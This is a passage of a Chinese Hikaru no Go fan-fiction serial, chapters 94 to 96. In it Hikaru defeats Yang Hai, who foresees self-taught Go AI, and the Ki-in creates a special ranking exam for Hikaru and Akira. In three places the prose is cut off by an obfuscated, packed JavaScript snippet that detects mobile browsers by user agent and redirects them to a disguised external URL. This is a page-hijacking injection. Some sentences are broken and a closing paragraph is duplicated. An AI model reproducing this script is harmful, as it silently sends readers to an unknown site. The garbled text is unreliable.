预判到了——只要有进藤光出现的地方,就一定会有厉害到离谱的棋手和牛逼到离谱的棋局出现——这个奇妙的规律!柴田的表情有些不知该如何安放,他带着羡慕嫉妒恨的心情,不自觉就也加快了脚步,跟着仓田一起冲向进藤光所在的地方。 两人的对局已经进行到一半了。 一楼原本没有对弈用的空间,但正好前段时间举办过“儿童围棋体验角”的科普活动,这里放着可以自由使用的小桌子,大概是图方便吧,杨海直接坐在彩色的小椅子上,光也跟着坐下来。这俩人居然用塑料儿童棋盘下得津津有味。再加上周围观战的也都是棋院的院生和职业棋士,反而显得这个角落比楼上自由对居室更像正经比赛。 简直就是心大到像在炫耀嘛!柴田拼命往前挤,才能勉强看到棋子交错的一角。 结果这一看,把他人吓麻了。 乱、乱杀! 棋子的排布方式非常明确,一眼就猜得出来是怎么下到现在的,就像排布有序的蜘蛛网,没有太多变数。 但正因为如此,实力差距才更加明显。 按理说中国的职业水平都不低,怎么面对进藤会毫无还手之力?! ……他记得这次来棋院的人里好像还有中国棋圣的儿子,不知道和塔矢亮相比谁技高一筹。但显然,这个黑头发的青年绝对不是进藤光的对手! “……” 果然,在另一侧观战的塔矢亮也沉默地托起了下巴。 已经无力回天了。换作是他,也救不了现在的盘面。 这个中国棋手比想象中更强,很多棋精确得就像是超级电脑运算出来的,如果是正常日本棋院的五段,面对这种训练过千百遍的老练棋风大概率会吃亏。 可是,进藤的棋力远在他之上。 围棋并不是算得精确就一定能赢。很多复杂情况下的随机应变都会牵一发动全身。 而随机应变,正是进藤光这一个月以来加强训练的长项。 大约是猜到了最后的结果,坐在彩色小椅子上的杨海露出了苦瓜脸。 “……嗨!这还下个头啊,认输认输!”他扔下棋子表示认输,然后直接用中文开始吐槽了,也不管对面的人听不听得懂,“我真服了,你们日本的小朋友不也挺厉害的嘛,一个初中生能下成特么这样,还说什么青黄不接,搁这藏人呢?怎么,秘密杀手锏,留着最后上国际大赛吓我们一跳?” 好快的语速,好陌生的语言。不过嗓门是真大,直接穿透整个棋院大厅。 光的脑门上飘过一行省略号。 “……他说什么?” “听不懂。”佐为很无辜地眨巴眨巴双眼,“大概是在夸你吧,小光。” “我怎么听着气冲冲的。” “也有这种夸奖方式啦,他不是在笑吗。” 真的吗,这大叔眼睛小小的、看着就很容易生气的样子。进藤光忽然有点后悔刚才自己下手没个轻重,对远道而来的国际友人斩尽杀绝,该不会毁了人家旅游的心情吧?这样想着,对面的男人抬眼的瞬间,光条件反射地坐直了后背。 “你的,名字是?” ——开始说日语了!对哦,杨海是北斗杯的中国队领队,日语水平比一般翻译还流利来着。 且不管这日语到底标不标准,光都像汇报一样立刻回复了自己的名字:“是!我叫进藤光。今年刚考上职业的新初段,进藤光。” 男人瞪大了双眼。 “新初段?!难怪没听说过你,后起之秀,有两下子。”他的惊叹混杂着中日两种语言,遇到复杂的成语就变成中文,还是不太地道的云南口音的北京话,搞得光一惊一乍的,“刚开始你说你有高段棋手的实力,我还想着这小孩儿吹牛不带心虚的,想杀杀你们日本人的威风,呦呵,结果倒是我被杀了。你这棋风,没少上网上下棋吧?跟那个网络棋神sai有点神似。” sai……? 这下他全听懂了!连塔矢亮都听懂了! 佐为也马上反应过来,举起扇子指着对方:“啊。小光!就是他!” “你说sai?”光也摆出了和佐为一模一样的动作,“啊——!你就是那个老是死缠烂打找sai对局的Yanghai!我就说怎么这个发音有点耳熟!” “对。咦,不对,你怎么知道我老找sai申请对局?” 杨海敏锐地察觉到了疑点。 亮在一旁替光悬着一颗心,都打算主动插话帮忙解围了,还好光早有准备,接着杨海的话题往下聊得那叫一个顺溜:“哦哦哦,因为我是sai的弟子,他身体不便,所以对外都是我替他在网上下棋。” “又是这套借口呢。”佐为躲在他身后偷笑。 “因为很好用嘛。咦?塔矢是什么时候过来的?他好像很在意我嘛。” 这一局他的手感超级好!也不怪塔矢亮会在意! 光的笑容过于灿烂,让惨败的杨海愈发震撼了。 “啊?sai的弟子?大名人!我靠我这什么狗屎运,来日本第一天就活捉一大鱼!”他后悔没更认真一般使劲一拍大腿,而后扭头对着人群里的同伴高声打招呼,“喂!你们几个!瞧瞧!这里,sai的亲传大弟子!就这么个小土豆,多可爱。” 此言一出,中国面孔的几个年轻人都惊讶地聚拢了过来。原本站在边缘的柴田直接被挤了出去。 “sai?那个sai吗?” “我听说过,sai的弟子就是网上那个hikaru吧?好像也蛮厉害的。” 最后那个戴眼镜的卷发男抱怨道:“你怎么又一个人偷偷找人下棋啊杨叔……导游要生气了。你昨晚还离队去买什么电脑,害得我们满东京找人!” 挨了批评的杨海也不生气,反而笑眯眯的,心情似乎很好,他一边粗暴地揉着光的头,一边自吹自擂起来:“电脑好啊。别看我这样儿,姑且也懂些编程呀、计算机呀的皮毛,要我说,将来sai的对手,一定会从电脑里出现。你们就等着瞧吧。” “……电脑?您是说AI吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323809|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 进藤光弱弱举手发问。 杨海点点头,似乎没想到接话的会是他。 “不错。你这小孩儿送得还挺多。就内个人工智能。” 光和他有些混熟了,也大大咧咧摆手表示否定:“我是听说AI越来越厉害啦,但是要下过sai?不可能不可能不可能。” 佐为也学着他连连摆手。“小盒子也会下棋?还能下过我?不可能不可能不可能。” 被第一次见面的小孩否定得这么彻底,杨海却格外自信。 “咱们等着吧,算力的发展可不是线性的,这一天早晚的事。神之一手光靠人的积累一点一点往前推就太慢了。” 杨海提到了神之一手。光瞬间皱起了眉头。在他上次25岁时,电脑运算技术确实进化到了新的高度,但所谓的顶级围棋软件最多也就是和职业三段互有胜负,和九段下棋被让5子还会输呢!9路盘都还没彻底攻克,19路更是遥遥无期,更别提1999年连手机都没普及的现在了。 中国棋院的其他棋手都是一脸不信。 “你又胡说八道。还神之一手呢。围棋的计算维度很复杂,计算机也就能下下五子棋,围棋还要等几十年吧!” 杨海据理力争:“没这回事,国外已经有学者提出新的机器学习算法,将来肯定会有更新的技术,能进一步模拟大脑的运作。我相信,只要搞清楚了人脑的运行逻辑,再加上计算机的恐怖算力,早晚可以攻克围棋。” “算力再强也需要和对手一起下才成立啊。围棋又不是一个人玩的。” “不,不需要额外的对手,也不需要提前录入职业棋士的棋谱,只要从零开始自己和自己下就能得出答案,前提是算法足够科学。” “意思是连棋谱都不用参考?太反常识了吧!” 不仅是他,在场所有人都对杨海这番无稽之谈表示了怀疑。 和他们不同的是,光质疑的并不是计算机技术本身的进步速度。他双手环抱在胸前,满是童真的脸上写满了严肃:“但是……如果是机器和机器下棋,那围棋还有什么意思……” 光的发言和前面那些技术讨论格格不入。 周围的大人们一愣,随后,处于人群中心的杨海大笑起来。 “噗——哈哈哈哈,你好认真。我承认你说得对,机器的算力可以无限延伸、直到算清楚整个宇宙,但神之一手,最终还是需要人来下。不然就没有意义了。下棋本来就是人和人的游戏嘛。”杨海的笑声里充满了钦佩,或许这么本质的发言是从一个小孩嘴里说出来的让他有点意外,但他还是恋恋不舍地站起了身,“我们得走了,明天早上还有飞机呢。欢迎你随时来中国玩,进藤光,棋院那帮死小孩肯定都喜欢找你下棋。” “我会当真的喔。” 不讲客气是进藤光的美德。 热情好客则是杨海的美德。他果断应承了下来。 “来吧来吧,我包吃包住。全北京随你逛。” 光马上露出笑容:“那好,我下个月就想去!现在就开始办签证来得及吗?对哦,未成年人一个人可以拿到签证吗?” 一般人都会把杨海的邀请当做“没有明确期限的口头约定”束之高阁,将来真有机会去中国,再考虑要不要兑现;而本来就对中国充满向往的进藤光考虑的完全相反,他直接把这个约定当成了基础,然后顺着杆子就往上爬,直接把假设定为了“立刻执行”。 杨海都惊呆了,他第一次遇到这么奇怪的日本小孩。 “……你真这么想来?” 光连连点头:“想。我听说中国的职业棋手和日本不是一个等级,一直想亲眼过去见识见识。塔矢老师说以日本棋院交流的名义过去需要比较高的段位,那就要等很久了,如果是私人邀请的话,应该条件就没那么严格了吧?” 这小子…… 杨海原本一直带着“交个朋友”的玩味心态,在这一刻也发生了转变。 95.Chapter 94. 通向未来的道路 最初他在大厅听到这小孩自言自语有高段实力时,心里的想法非常简单:日本的职业棋手也太飘了。小小年纪能考上职业固然是不错,可所谓日本的高段,放在中日韩三国舞台上根本不能细看;所谓的日本天才棋手,放在韩国最顶尖的世界冠军面前唯一能超过的也只有年龄。所以,当杨海提出要和他对弈一局时,不能说心里完全没有嘲讽的意味。 反正这个小孩只是在吹牛,那他就代表中国棋院来展示一下中国职业棋士如今的水平,让这臭屁小孩再也不敢瞎讲大话。 旅游嘛,图的就是一乐。 可他的信心在对局开始后就消失得一干二净。 漏洞百出。自己的棋在对方面前就是个漏洞百出。他满以为已经稳固的优势,经过对方一两颗棋子的轻轻撬动,就轻而易举地化为了劣势。 毫无还手之力! 不……一定是哪里出了错……这不是自己该有的水平。 杨海承认,自己并不是全身心投入在职业围棋上的努力型选手。比起围棋,他对计算机和信息技术的兴趣更多,也没想过要在比赛上拿什么冠军亚军,能快快乐乐地下下棋、业余时间搞搞自己的研究,就很有趣了。入段后十年,他才拿到六段,似乎已经证明了他给自己定的上限。 但是,即使如此,身为中国棋院的六段,如此简单地输给一个默默无闻的日本小孩,还是让他自尊心有点受伤。 真的是因为自己发挥失常吗?冷静下来想想,似乎又不是这么回事。 闲聊时他们都说日本人下法守旧、定式古老,毫无创新精神。可他横看竖看,这个进藤光下出来的棋,怎么看都算不上陈旧老派,反而非常跟得上时代。许多最近一两年的国际赛事里流行的下法,都能在他的棋里看出端倪,而且套用得并不生硬。 没点天赋是不可能把世界冠军级别的下法化为己用的。只会自讨苦吃而已。 没有努力就更不可能了。杨海自己每天花在练棋上的时间是12小时,他深知,中国棋院还有更多小孩每天14小时、16小时、18小时地疯狂训练,为的就是不在残酷的竞争里掉队。除了下棋,他们的生活容不下其他任何东西。 而这个小孩…… 能把中国棋院堂堂六段碾压到这种地步的,绝对是天才中的努力家。 本以为六段在中国职业棋坛五万职业棋手里也是前0.8%的金字塔尖了……sai的弟子吗…… 一想到邻国不知何时出现了这么一员猛将,杨海心里就开始替自己身边那些不求上进的小孩犯怵。好不容易送来北京集训,天天还就知道玩,下棋都不认真,拿什么和人家比?别说韩国佬了,日本人都比不上!尤其是那个乐平!想到他自己就来气! 杨海走着走着,忽然停下脚步。 在众人的呼喊下,他掉转方向,笔直冲着日本棋院的大门又快步走了回来,裤腿生风。 随后,在进藤光走进电梯的前一瞬,用力抓住了对方的肩膀。 光有点困惑地回过头。 没想到杨海甩出了一句令周围所有人都瞠目结舌的台词: “要不你干脆直接加入北京队吧,进藤光。” “?!!!” 这招揽来得太过突然了。光不知道自己该露出什么样的表情。佐为也是一副大吃一惊的样子。电梯里的塔矢亮更是完全将视线聚焦在他们身上。 “什……么?” 光不得不重新确认一遍是不是对方日语说错了。 但杨海的日语水平好像比预料中更优秀一些。 他单手拦截电梯门,头伸进轿厢,一口气不带停地往下说:“我最近在建议上面把围甲改成主将制。这几年国际赛场是中韩相争的舞台,韩国人太强了,中国要是想培养一批能下赢韩国的一线棋手,就得鼓励他们互相较劲、抱团求胜才行。现在北京队就缺几个足够有说服力的未来主将人选,你的出现一定会对他们造成良性刺激。哎,别担心这事能不能成,既然塔矢行洋能来,那你没道理不能。” 这个莽撞的男人,居然直接把进藤光和塔矢行洋放在同一个水平面上做对比!满电梯的人都吓傻了,要不是杨海神情肃穆,他们绝对以为这家伙在胡言乱语! 光张大了嘴,找不到合适的回答。 这一展开完全在任何人的意料之外。 不过,在他想出回答之前,杨海的衣领就被身后的卷发眼镜男毫不留情地揪走了—— “杨海!!你搞什么,不可以直接在人家的地盘上挖墙角!!!” 这句是用中文说的,所以大家都听不懂。他们只看得出来杨海和卷发男起了冲突,然后一群人架着杨海不由分说地把他强行拖走了,临走之前眼镜男还带着抱歉的笑意对他们挥了挥手,好像在说“无事发生、无事发生”。 一切都回归和谐,除了消失在玻璃门后的杨海最后嘴里念叨着的那句话:“总之,要是你有这个意向,一定要联系我,我随时在网上等你——” 电梯门缓缓关上。光心有余悸地抬头看着洁白的顶灯。 他不敢看周围,因为周围的人都在看他。 完了,这种被诸多视线捧杀的感觉。他怎么知道随随便便找了个中国棋手对局会变成这样啊!他只是下了一局棋而已!只是普通地赢了而已! 只有佐为忍不住发出一句感慨:“……好神奇的人。” 神奇?明明是脱线吧!真的搞不懂他为什么会众目睽睽之下发出那种离谱的邀请!才下了一局怎么就觉得进藤光能在中国站稳脚跟了?随随便便招揽外国人是中国的传统文化吗?“有朋自远方来先叫他去我家”是吗? 结果一传十,十传百,棋院高层都很快听说了“进藤光遭到中国棋院挖角”的离谱新闻。 这下头痛的可不止进藤光一个人了。 年事已高的棋院董事唐泽先生一个劲地拿食指关节在办公桌上狂敲,连茶杯里的漩涡都跟着不断抖动,语气平静、却有压迫感:“塔矢老师隐退后,我们本部可是遭受了重创,关西那帮人恨不得随时过来抢走头衔也就算了,如今中国过来旅游又要顺手再挖走一个?不像话!这个进藤不是今年的新初段吗,战绩都没有,怎么会被过来旅游的中国人盯上?” “非常抱歉!是我们没把好关。” 急匆匆赶过来的天野擦了擦汗,而后想起什么似的从棕色西装外套里掏出笔记本,检查着上面的小字。 “……对了!桑原老师之前提过的那个孩子,就是进藤。唐泽先生您应该还记得吧?” 唐泽不置可否地皱了皱眉。桑原本因坊那个太过“倒反天罡”的提议因为激进程度超出棋院接受范围而被暂且搁置,天野这么一提,董事们才想起似乎确有此事。 由于听出了天野的潜台词,桌边的每个人瞬间脸色大变。 “你是说……不行!唯独‘那个’不行!” “事关棋院百年传统,就算我们几个同意了,其他职业棋士也不可能同意!” “无稽之谈。” 还是一致强烈反对啊。 “是吗……真可惜……”天野表现出一副很犹豫的样子,实则在一旁添油加醋,“私以为,对待人才,就得拉满待遇才有效果。我担心再这么磨磨蹭蹭下去,超新星会被可疑人士拐走。据我所知,关西棋院也对进藤很感兴趣,政府□□那边还打算以进藤为中心举办一场围棋科普讲座呢。” 出版部这么说自然有数据的支撑,天野故意停顿了几秒,似乎在给对面的决策者留出反悔的时间。 会议桌设计成长得看不见尽头,是为了彰显权威、营造疏远的心理距离。 此刻,谁也看不清处于逆光角度的董事们的脸色。 十秒过去了,坐在最靠窗位置的唐泽掏出胸前口袋里的银色打火机,点了一根烟。 “一个人太高调了。去把塔矢亮也叫来。” 两周后,日本棋院东京总本部。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347889|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >会馆顶层大会议室外。只有这一层的装修与楼下天壤之别,铺满地毯的走廊让皮鞋走在上面都悄无声息,就像高级酒店,让人极不习惯。 进藤光用还是小孩的手指费劲地整理着不听话的领带,但技术难度有点高,不对着镜子果然还是会歪。由于注意力太过集中在近处,他一不留神就跟对面走来的塔矢亮撞了个大眼瞪小眼。 “——唔哇!塔矢!你走路都没声音的!” “进藤。”亮今天也穿着笔挺的西装,布料是他最喜欢的浅紫色,搭配难度堪称地狱,也就他这张百无禁忌的脸能撑得起来,“你也是被突然叫到这里的吗。” 光叹了口气。他放弃了继续捣鼓麻烦的领带。就这样吧,丑一点又不会死。 “嗯。莫名其妙就收到一封文件,措辞还很正式,搞得我匆匆忙忙借了一件旧西装就过来了。” “难怪不合身。” “喂!你就不能说点好听的吗?‘第一次见到进藤穿正装的样子,竟然还有点帅气呢,难怪都说人靠衣装马靠鞍’之类的。” 光炸毛的样子让佐为忍不住噗噗笑了起来。 亮也毫不客气指出了他修辞的问题:“这句怎么都不算好话吧。” “重点是前半句啦!前半句。” 光一个大白眼甩了回去。他就是想听那个不苟言笑的塔矢夸自己帅气而已!不过这后半句他死也不敢说出口就是了。趁着最后还有一点时间,亮走上前去帮他随手摆正了领带。同样是常年下棋、关节有老茧的手指,怎么他就能操作这种细工慢活。 这家伙,总在奇怪的地方十分熟练呢。是因为家教如此吗。光不自觉抬高了下巴,免得被对方的指尖戳到。 吱呀—— 沉旧的厚重木门徐徐打开,两人这才站稳双脚,直视前方。 明明不是第一次来这里,进藤光却还是满头大汗得一句话都说不出来。也是,虽然次数不多,但无论来多少次,这里都是极度紧张的气氛,毕竟聚集在此处的,没有一个是在役的职业棋士,而是棋院的“经营者”。 真正决定棋院生死的人,是他们。 “你们来了。那么,事不宜迟。”一个浑厚有力的嗓音从远方传来,在那尊深棕色长条办公桌的尽头,头上抹着均匀发胶的中年男人翻开了手边资料的第一页,“关于进藤光、塔矢亮两名新初段的特别定段赛,请各位耐心听完以下说明。” 光一瞬间就傻眼了。 “特别定段赛?” 完全陌生的词汇出现了!那是什么东西? 闻言,一贯冷静的塔矢亮也露出了微微讶异的神色。 “请问……具体是指?” “嗯。这是桑原老师提出的建议。以你们的棋力,留在低段区持续匹配三段以下的对手进行手合赛、并不能得到有效提升,所以明年三月的段位授予仪式上,干脆直接颁发更高段位的证书给到二位,以便尽快获得参加各类赛事或活动的资格——前提是,二位能通过棋院组织的特别考试。” 唐泽解释的声线格外平稳,仿佛这事是早就定好的,但其实直到上个星期,在场所有人都不相信它真的会成为现实。哪怕是他如此陈述的现在,在座也有人依旧对此抱有反对之意。 佐为早已惊喜地露出“好厉害”的笑容,在光身边滴溜溜打转。 但光还是不太相信自己听到的信息量。 “桑原本因坊……?” 他马上联想起了在因岛佐为和桑原的对局,是因为那时桑原感知到了佐为的存在,还输了棋,才对进藤光另眼相看吗。 但是……“特别定段赛”什么的……根本就闻所未闻啊!他上辈子在棋院做了十一年职业棋手,这个词语也从未出现在进藤光的职业生涯里! 好奇宝宝佐为已经开始问东问西了:“小光,这难道不是好事吗?” “与其说是不是好事,这根本就没有先例吧!让这群老顽固破例可不是那么简单的!” 96.Chapter 95. 特别定段赛 自成立以来,日本棋院的升段规定就特别死板,而且从来不改,从前就有人抱怨过“实力突出的棋手升段还是很慢”,比不上中国棋院夸张的升段速度,但也没见他们做出调整。论资排辈不仅在围棋界,放眼整个日本职场都是不变的铁则,想要晋升就必须踏踏实实积累年龄才行,“年功序列制”就是这么根深蒂固。 事实上,在光的上一世,塔矢亮就因为麻烦的升段赛制在低段区困了好几年。即使他最初就能轻松碾压三段左右的棋士,也无法破例得到更快晋升,只能在原地打转。 而现在……这么有利的条件摆在面前,让人很难不怀疑哪里有陷阱。 亮直接问出了核心问题:“意思是,如果通过了考核,我和进藤就能直接升段吗?!” 唐泽毫不避讳地点点头。 “是的,我们会为二位挑选水平各不相同的三位职业棋士作为对手,完成三次正式对局,根据胜负结果最终确定你们的真实段位。” 真实段位…… 夸张点说,直接跳过初段、二段、甚至三段,授予更高段位的证书都是有可能的。唐泽就是在表明这一态度。 站在一旁的天野挺着大肚子补充道:“为了公平起见,《围棋周刊》这边也会对全程进行跟踪报道,输棋也一样会刊登出去。另外,如果进藤君成功获得三段以上的考评成绩,出版部就会同步发行他的棋谱集。各位手边都有棋谱的复印件,请确认。” 有工作人员也递给了进藤光和塔矢亮一份资料。 光连忙翻开那本册子。还好,久原听劝地删掉了其中实际上是佐为下的那几局棋,只留下真正属于光的棋谱。这让提心吊胆的进藤光终于松了口气。 “那家伙还是心里有数的嘛。” 佐为假装生气道:“明明你都没有告诉久原我的事。” “塔矢为了知道真相可是前前后后等了十四年,他还早着呢!早着!” 与光松了口气的表现不同,亮是初次见到这本棋谱。他一眼就认出了进藤光的棋风,也从中窥见了几局熟悉的对局,但后面也有他没见过的对局,看着看着就沉迷了进去。 ……果然进藤的水平一直在进步。替他整理这本棋谱的人,思路一定也十分清晰。真想见见作者本人。 窸窸窣窣的耳语声传来。亮侧过脸,观察着他们的神情,会议室里的其他人都在议论棋谱的内容,但无一人敢对棋谱的质量表示异议。 毕竟这些对局的水平实在是太高了。很难相信这是新初段曾经的记录。 “看来各位老师都没有反对意见。那么,就只剩下本人的意见了。”唐泽双手交叉十指,放在桌面上,望着远处的两人,“进藤君,塔矢君,专门为新初段进行额外段位测试是史无前例的决定,毫无疑问会成为围棋界的大新闻。一旦你们决定参加,就必须拿出成果,否则颜面扫地的不仅是你们,也是整个棋院。明白我的意思吗?” 一股压力扑面而来。 责任重大啊。如此大胆的改革,简直就是在挑战日本棋院的传统。 搞砸的话肯定也是他们两人自己背锅。 光的语气冷了下去。 “……您是在确认我们的觉悟吗。” “正是。” 唐泽双眼微微眯起,锐利的鹰钩鼻令他干瘦的脸庞愈加棱角分明。 坐在他左侧的另一个董事连忙打圆场:“你们都还只是孩子,如果不急于参加国际大赛,大可先在新手区慢慢磨炼身手,这是我个人的想法。没必要让你们承担整个棋院、甚至整个围棋界的压力,就算是为了造星,搞得这么声势浩大也太出格了。” “……” 唐泽没有理会他的反对,只是将双手压得更低了。 就像满屋急剧降低的空气温度一般。 右侧的第三名董事见状,咳嗽了两声:“……造星?这话可就说得有失偏颇了,山本先生。‘明星’不是造出来的,而是进藤已经成了‘明星’、我们才不得不想办法把他放在合适的位置而已。日本围棋式微又不是什么新鲜事了,韩国中国这几年混得风生水起,国内赞助商越来越不愿意承办比赛,我们不就是为了解决这个问题,才各种想办法嘛。” “那你有没有想过,受到棋院如此特殊对待,要是万一他们未来战绩平平、甚至还不如其他新初段,他们会遭到全国棋迷怎样的恶意中伤?捧得越高,摔得越痛!舆论可不会因为他们是小孩就手下留情。” “应付舆论不就是你们出版部的本职工作吗。” “那也请宣传部拿出担责的觉悟来。” “说到底还不是因为桑原老师执意要推荐进藤……” “我不怕中伤!”光突然开口打断了他们的争论,他一巴掌排在会议桌上,双眼炯炯有神,直视着对面最远处的唐泽,“下不出好棋,被骂也是当然的。” 一片寂静。 或许是没人想到这个13岁的小孩会大声加入棋院高层们的谈话,这一刻,整个会议室都鸦雀无声。 光摁在桌面上的手指收紧,又松开。 他果然还是很着急。两年后的五月五日是佐为曾经消失的日子,他急切地想要在那一天来临之前做些什么,比如战胜日本围棋的顶点塔矢行洋、证明自己离神之一手更近一步、或是继承本因坊的头衔、让虎次郎驻留现世的灵魂得到慰藉。 这份难以遮掩的急切,让佐为感动之余,又有些为他担心。 “小光……” “我一定要在两年内拿到世界冠军。这是我的目标。”见他们似乎都不相信自己说的话,光再次大声重复了自己的想法,“就这样参加预选慢慢入围当然也行,但要是能以高段棋士的身份出发,就可以跳过很多麻烦事、专注比赛了。这么好的机会,我求之不得。请务必让我参加特别定段赛!” 毫不犹豫啊。 亮悄悄看了他一眼。 不知哪边有人发出了嘲讽:“口气还真不小,你们年轻人也是初生牛犊不怕虎。进藤,你知道定段赛的对手都是什么身份吗?” “不知道。但是,什么身份重要吗?害怕挑战的话,还下什么职业围棋?” 光的年少轻狂总让周围的人替他提心吊胆。 但他又总能拿出对应的胜利,打破他们的成见。 从身后悄然加入这场对话的桑原本因坊就是最好的例子。 “嚯……嚯……嚯……说得好。” 老猴子一般狡猾的嗓音在离耳朵不到十公分的地方忽然响起,吓得进藤光双肩都起了一片鸡皮疙瘩,他立刻让出一条通道,让这位元老级棋士能通过门口的狭长地毯、进入室内。 “桑原老师!您怎么亲自过来了?” 会议桌边的董事们都表演了一个一百八十度大变脸。 不知为何,从桑原满是皱纹的眉宇之间,亮似乎看出了一丝挑衅——针对进藤光的挑衅。 然后桑原将目光从进藤光身上慢慢挪开,继续自顾自地往前走,双手背在身后,仿佛前方无人能够阻挡。 虽然是背对着二人,桑原却确实在向进藤光发起对话。 “建议是老夫提的,老夫自然有责任见证到底。进藤光君,明年的本因坊战,我会在王座上等着你,快些上前来吧,别让老人家等太久啊。” 这意思是…… 光先是一愣,然后马上毕恭毕敬地弯腰回应:“是!我一定会拿到本因坊的挑战权!” 这下,连最早通过特别定段赛提议的唐泽本人都受到了心灵的震撼。这家伙!居然引得桑原本因坊大人亲自前来袒护,还当众下挑战状!到底是什么来头?桑原就这么笃定他一定会赢过那么多高段棋士、威胁到本因坊的位置吗?!明明循环赛都还没开始啊!别说循环赛了,预赛都一局没下呢! 好不容易冷静下来之后,唐泽转向了此前一言不发塔矢亮。 “塔矢君呢?你的想法也同进藤君一样吗?” 然而,这是早已确定答案的问题。 亮的目光丝毫未曾游移半分,在他的面前,始终只有一条自己深信不疑的道路。 “既然进藤同意,我没有理由反对。”墨绿色短发的少年眼中洋溢着耀眼的自信,以及,对棋艺更上一层楼的渴望,“我保证,会拿出不让棋院蒙羞的成绩。” “很好。” 唐泽合上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369477|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了面前的资料集。 决策他做完了,接下来该头痛的就是其他人了。 突如其来的新鲜挑战让进藤光整个人都精神亢奋到不知疲倦,他把这个消息带给自己的教练,害得久原疯狂掐自己的脸蛋以证实这并非幻觉——他的直觉是对的,进藤光果然拥有世界级的潜力,棋院也承认了!而且进藤的存在日后还会诱发一系列的变化,这只是个开始。那一晚,久原没忍住推开窗户对着外面的黑夜高声长啸三遍,令久原家第一次因为扰民遭到了邻居家的投诉。 紧接着,在不安的一周等待后,“特别定段赛”的新闻顺利登上了次周《围棋周刊》的头条,其上也宣布了进藤光和塔矢亮未来即将对弈的职业棋士名单。 第一局,进藤光vs川崎三段,塔矢亮vs芦原二段。 第二局,进藤光vs梅泽五段(女),塔矢亮vs村上五段。 第三局,进藤光vs白川七段,塔矢亮vs仓田七段。 尽管规则声明上备注了“无论输赢,棋院都会综合全部裁判员的考评、给予最为接近真实棋力的段位”,理论上输赢也不影响结果,但爱看热闹不嫌事大是所有人的共通品质。消息一传出去,谁都觉得这两个新初段要是赢了三段就能直升三段、赢了五段就能直升五段、赢了七段就能直升七段——这绝对是堪比坐火箭的升段速度,前无古人后无来者。 上一位受到如此特殊对待的“新人棋手”,还是自战乱时期的中国远渡重洋而来的大师,吴清源先生。 少年吴清源棋力高超是众所周知的事实,倘若加入日本棋院时还要从初段开始,未免也太不像话了。为此,棋院才专门为他准备了七场与不同段位职业棋手的对弈,最后直接定下来的初始段位,就是三段。 不知道这个进藤光能达到吴清源大师的几成功力?还是说……甚至超越当时年仅14岁的吴大师? 那么,塔矢亮又是否能成为与吴清源一同创造“新布局法”的宿命劲敌、木谷实? 如天野所料,这一事件的话题性足以让《围棋周刊》卖到脱销。 正在书报亭前点烟的加贺险些把自己眉毛烧了:“——这是什么玩意?!进藤也太夸张了吧?!” 进藤平八则笑容满面地拿着报纸到处找棋友们炫耀,“看看这是谁?咦?这不是我孙子吗?小脸长得还挺俊。和塔矢亮一样俊,哈哈哈。” 叶濑中围棋部众人聚集在化学实验室的实验桌前,大呼小叫:“是进藤!是进藤!” “要不我们干脆早点拜他为师好了。藤崎,你牵线搭桥一下呗。” “诶?不行的啦!我连院生都没考上!现在都丢脸死了!” “这家伙还真是喜欢华丽的出场方式啊。” 院生闲聊时,温柔体贴的奈濑放下手中的可乐,担心地说:“伊角先生会不会很受伤……只有他一个人被排除在外……” 毕竟他也是今年的新初段。特别定段赛却完全没他的份。 本田若无其事地耸了耸肩,“这个我想应该不会。伊角先生很清楚的,那两个人的棋力远在我们之上的事实。但他也在奋起直追,说不定没多久,形势就会逆转了。” 他的视线里,并无迟疑。 同样毫无迟疑的,也包括在反射着淡蓝色微光的鱼缸前投入鱼食的绪方精次。 “这么快就到跟前来了啊,新生代。”他的眉头紧紧皱起,似乎象征着某种宣战的决心,“且让我拜见你们的实力吧。” “为什么您要接下这么尴尬的工作啊,白川老师?明明可以婉拒的。”围棋教室的老学员们纷纷表示了不安,“万一输给这么小的进藤,岂不是很没面子?” 白川露出了温文尔雅的微笑:“没办法,谁叫他曾经是我这里的学生呢。而且,我对他的真正棋力也很好奇。” 森下茂男指着报纸上的照片,怒斥面前的棕发少年,口水都快喷出门外了:“你也学学这个进藤光!和谷!不赶紧加入职业世界的话,是没办法进步的!森下研究会绝对不能输给塔矢!给我发誓!下次一定要下赢他!” “饶了我吧森下老师……”和谷欲哭无泪。 ●○●○ 97.Chapter 96. 虎次郎的微笑 对他们抱有期待的高段棋手并不止绪方一人。消息一出,棋院上下几乎人人自危。 这山崩地裂般的震动一直传到棋院以外很远的地方。 “为什么?为什么您要接下这么尴尬的工作,白川老师?明明可以婉拒的。”围棋教室的老学员们纷纷表示了不安,“万一输给这么小的进藤,岂不是很没面子?” 